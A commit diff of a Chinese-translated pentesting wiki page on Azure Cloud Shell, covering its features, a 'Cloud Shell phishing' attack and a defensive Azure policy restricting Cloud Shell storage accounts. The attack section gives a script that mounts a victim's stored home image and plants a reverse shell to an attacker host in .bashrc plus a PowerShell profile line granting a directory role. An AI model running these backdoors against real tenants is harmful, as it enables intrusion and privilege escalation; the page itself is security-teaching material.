Translated ['src/pentesting-cloud/azure-security/az-services/az-cloud-sh

This commit is contained in:
Translator
2025-02-21 13:57:18 +00:00
parent fbfc671c4a
commit 2b0b431bf5

View File

@@ -4,18 +4,105 @@
## Azure Cloud Shell
**Azure Cloud Shell** 是一个交互式、经过身份验证的、可通过浏览器访问的终端,旨在管理 Azure 资源,提供使用 Bash 或 PowerShell 的灵活性。它在一个临时的、每个会话的主机上运行,该主机在 20 分钟不活动后超时,同时在 $HOME 位置使用 5-GB 文件共享来持久化文件。可以通过多个点访问 Cloud Shell包括 Azure 门户、shell.azure.com、Azure CLI 和 PowerShell 文档、Azure 移动应用程序以及 Visual Studio Code Azure 账户扩展。
**Azure Cloud Shell** 是一个交互式、经过身份验证的、可通过浏览器访问的终端,旨在管理 Azure 资源,提供使用 Bash 或 PowerShell 的灵活性。它在一个临时的、每个会话的主机上运行,该主机在 20 分钟不活动后超时,同时在 $HOME 位置使用 5-GB 文件共享来持久化文件。Cloud Shell 可以通过多个点访问,包括 Azure 门户、shell.azure.com、Azure CLI 和 PowerShell 文档、Azure 移动应用程序以及 Visual Studio Code Azure 账户扩展。
此服务没有分配权限,因此没有特权升级技术。同时也没有任何类型的枚举。
### 主要特性
**环境**Azure Cloud Shell 通过在 Azure Linux 上运行提供了一个安全的环境Azure Linux 是微软为云基础设施设计的自有 Linux 发行版。Azure Linux 存储库中包含的所有软件包均由微软内部编译,以防止供应链攻击
**预安装工具**Cloud Shell 包含一整套预安装工具,如 Azure CLI、Azure PowerShell、Terraform、Docker CLI、Ansible、Git以及文本编辑器如 vim、nano 和 emacs。这些工具可以直接使用。要列出已安装的软件包和模块可以使用 "Get-Module -ListAvailable"、"tdnf list" 和 "pip3 list"
**$HOME 持久性**:首次启动 Azure Cloud Shell 时,可以选择附加存储帐户或不附加。选择不附加存储会创建一个临时会话,文件在会话结束时被删除。要在会话之间持久化文件,请挂载一个存储帐户,该帐户会自动附加为 **$HOME\clouddrive**,您的 **$HOME** 目录将作为 **.img** 文件保存在 Azure 文件共享中。然而,$HOME 之外的文件和机器状态不会被持久化。要安全存储像 SSH 密钥这样的秘密,请使用 Azure Key Vault
**Azure 驱动器 (Azure:)**Azure Cloud Shell 中的 PowerShell 包含 Azure 驱动器 (Azure:),允许使用类似文件系统的命令轻松导航 Azure 资源,如计算、网络和存储。使用 cd Azure: 切换到 Azure 驱动器,使用 cd ~ 返回到主目录。您仍然可以使用 Azure PowerShell cmdlet 从任何驱动器管理资源
**自定义工具安装**:配置了存储帐户的用户可以安装不需要根权限的额外工具。此功能允许进一步自定义 Cloud Shell 环境,使用户能够根据特定需求调整其设置
- **预安装工具**Cloud Shell 包含一整套预安装的工具,如 Azure CLI、Azure PowerShell、Terraform、Docker CLI、Ansible、Git以及文本编辑器如 vim、nano 和 emacs。这些工具随时可用。要列出已安装的包和模块可以使用 "Get-Module -ListAvailable"、"tdnf list" 和 "pip3 list"
- **Azure 驱动器 (Azure:)**Azure Cloud Shell 中的 PowerShell 包含 Azure 驱动器 (Azure:),允许使用类似文件系统的命令轻松导航 Azure 资源,如计算、网络和存储。使用 cd Azure: 切换到 Azure 驱动器,使用 cd ~ 返回到主目录。您仍然可以使用 Azure PowerShell cmdlet 从任何驱动器管理资源
- **自定义工具安装**:配置了存储帐户的用户可以安装不需要根权限的额外工具。此功能允许进一步自定义 Cloud Shell 环境,使用户能够根据特定需求调整其设置
- **$HOME 持久性**:首次启动 Azure Cloud Shell 时,您可以选择使用或不使用附加的存储帐户
- 选择不附加存储会创建一个临时会话,文件在会话结束时被删除
- 要在会话之间持久化文件,您可以选择 **挂载存储帐户**,该帐户会自动附加为 `$HOME\clouddrive`,您的 `$HOME` 目录 **作为 .img 文件保存在文件共享中。**
### Cloud Shell 钓鱼
如果攻击者在他具有读写访问权限的存储帐户中找到其他用户的图像,他将能够下载该图像,**在其中添加一个 bash 和 PS 后门**,并将其上传回存储帐户,以便下次用户访问 shell 时,**命令将被自动执行**。
- **下载、后门和上传图像:**
```bash
# Download image
mkdir /tmp/phishing_img
az storage file download-batch -d /tmp/phishing_img --account-name <acc-name>
# Mount image
cd /tmp/phishing_img/.cloudconsole
mkdir /tmp/cloudpoison
sudo mount acc_username.img /tmp/cloudpoison
cd /tmp/cloudpoison
sudo mkdir .config
sudo mkdir .config/PowerShell
sudo touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
sudo chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1
# Bash backdoor
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc
# PS backdoor
echo "Connect-AzureAD; Add-AzureADDirectoryRoleMember -ObjectId 1246bcfd-42dc-4bb7-a86d-3637ca422b21 -RefObjectId 1D8B2447-8318-41E5-B365-CB7275862F8A" >> .config/PowerShell/Microsoft.PowerShell_profile.ps1
cd /tmp
sudo umount /tmp/cloudpoison
# Upload image
az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img"
```
- **然后,钓鱼用户以访问 https://shell.azure.com/**
### 查找并禁止 Cloud Shell 自动存储帐户
Cloud Shell 创建的存储帐户标记为 **`ms-resource-usage:azure-cloud-shell`**。可以创建一个 Azure 资源策略,禁止创建带有此标签的资源。
通过标签查找所有由 Cloud Shell 创建的存储帐户:
```bash
az storage account list --output json | jq '.[] | select(.tags["ms-resource-usage"]=="azure-cloud-shell")'
```
禁止根据标签创建自动存储帐户的策略:
```json
{
displayName: "Restrict cloud shell storage account creation",
description: "Storage accounts that you create in Cloud Shell are tagged with ms-resource-usage:azure-cloud-shell. If you want to disallow users from creating storage accounts in Cloud Shell, create an Azure resource policy for tags that is triggered by this specific tag. https://learn.microsoft.com/en-us/azure/cloud-shell/persisting-shell-storage#restrict-resource-creation-with-an-azure-resource-policy",
metadata: {
category: "Storage",
version: "1.0.0"
},
mode: "All",
parameters: {
effect: {
type: "String",
metadata: {
displayName: "Effect",
description: "Deny, Audit or Disabled the execution of the Policy"
},
allowedValues: [
"Deny",
"Audit",
"Disabled"
],
defaultValue: "Audit"
}
},
policyRule: {
if: {
allOf: [
{
field: "type",
equals: "Microsoft.Storage/storageAccounts"
},
{
field: "tags['ms-resource-usage']",
equals: "azure-cloud-shell"
}
]
},
then: {
effect: "[parameters('effect')]"
}
}
}
```
## 参考
- [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)